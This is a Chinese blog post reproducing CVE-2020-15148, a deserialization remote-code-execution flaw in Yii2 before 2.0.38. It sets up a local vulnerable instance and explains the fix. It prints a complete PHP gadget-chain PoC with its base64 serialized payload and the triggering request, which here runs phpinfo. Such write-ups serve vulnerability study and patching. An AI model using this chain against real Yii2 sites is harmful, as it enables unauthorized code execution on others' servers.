yii漏洞复现

简介

Yii是一个适用于开发Web2.0应用程序的高性能PHP框架

Yii是一个通用的WEB编程框架,即可以用于开发各种用PHP构建的Web应用。因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用,如门户网站、社区、内容管理系统(CMS)、电子商务项目和RESTful Web服务等。

Yii当前有两个主要版本:1.1和2.0。1.1版是上代的老版本,现在处于维护状态。2.0版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器Composer、PHP代码规范PSR、命名空间、Traits(特质)等等。2.0版代表新一代框架,是未来几年中我们的主要开发版本。

Yii2.0还使用了PHP的最新特性,例如命名空间和Trait(特质)

漏洞描述

Yii2 2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148

2.0.38已修复,官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,__wakeup方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞。

环境复现

下载地址:https://github.com/yiisoft/yii2/releases/tag/2.0.37
下载yii-basic-app-2.0.37.tgz
本地使用phpstudy进行环境搭建
修改/config/web.php文件17行cookieValidationKey,值可以为任何,作为yii\web\Request::cookieValidationKey的加密值,不设置会报错

进入目录,执行php yii serve

进入http://localhost:8080/

知识点

命名空间概述

php中命名空间(namespace)的作用和使用

call_user_func_array

Yii2.0 路由(Route)的实现原理 [ 2.0 版本 ]

所谓路由是指URL中用于标识用于处理用户请求的module,controller,action的部分,一般情况下由r查询参数来指定。

http://www.digpage.com/index.php?r=post/view&id=100,表示这个请求将由PostController的actionView来处理。(主要首字母要大写)

__construct(): 当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct(): 当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发。

分析:

使用的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}

namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

先从poc代码开始入手:

其它师傅的图图

第一步:new了一个yii\db\BatchQueryResult()类,那么就会调用这个类的__construct()方法

第二步:这个类的__construct()方法会new一个Faker\Generator()类,就又会调用Faker\Generator()类的__construct()方法,并把这个对象赋值给$_dataReader变量。

第三步:Faker\Generator()类的__construct()方法会new一个yii\rest\CreateAction()类,然后又调用yii\rest\CreateAction()类的__construct()方法。并调用了run方法(这里用了 call_user_func_array),然后赋值给$this->formatters[‘close’]。

第四步:反序列化时,类中变量的值我们是可控的;那么就可以通过yii\rest\CreateAction()类的__construct()方法中修改这些变量,将这些值改成命令,成功RCE。

思路有了,看看源文件中的这些类:yii\db\BatchQueryResult():

文件在:

1
vendor/yiisoft/yii2/db/BatchQueryResult.php:

在poc中

1
echo base64_encode(serialize(new yii\db\BatchQueryResult));

这句话执行完之后,会先调用yii\db\BatchQueryResult()类的__destruct()方法,这个方法会执行reset方法,因为前面我们将$this->dataReader设置为了Faker\Generator()对象

1
$this->_dataReader = new Generator;

所以就会进入if语句,执行Gnerator的close方法,因为没有这个方法所以会调用他的__call()方法
Gnerator类
文件在:

1
vendor/fzaninotto/faker/src/Faker/Generator.php

因为close是无参方法,所以__call中的$method是close,attributes为空,然后传参给format方法
继续跟进format方法

这里因为传参,所以$formatter=’close’,$arguments=空

format方法中使用了call_user_func_array(),使用的方法为getFormatter(‘close’)的返回值,参数在$arguments=空

继续跟进getFormatter(‘close’)方法,这个方法中if语句中的$formatters[‘close’],我们发现:

$formatters[‘close’]是可控的,也就是说getFormatter方法的返回值是可控的,也就是说call_user_func_array这个函数的第一个参数可控,第二个参数为空;所以相当于我们现在能干两件事

  1. 调用yii2中任意的一个无参方法

  2. 调用原生php的类似于phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘
    搜索含有call_user_function的无参函数

最后找到rest/CreateAction.php以及rest/IndexAction.php

这里分析CreatAction.php
那么poc中的下一步代入了一个无参数的方法去RCE,在前面的poc中说了formatter被赋值为

1
$this->formatters['close'] = [new CreateAction(), 'run'];

CreateAction类
文件在

1
vendor/yiisoft/yii2/rest/CreatAction.php

CreatAction()方法中的$this->checkAccess,$this->id我们都是可控的,那么就可以执行RCE了

复现

复现的第一步,先自己添加一个反序列化的入口,在controllers目录下新建一个存在反序列化点的TestController.php

然后使用poc输出需要的字符串

1
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

get传参(使用的知识是路由)

1
?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

成功RCE


yii漏洞复现
http://example.com/2024/05/15/yii/
作者
奇怪的奇怪
发布于
2024年5月15日
许可协议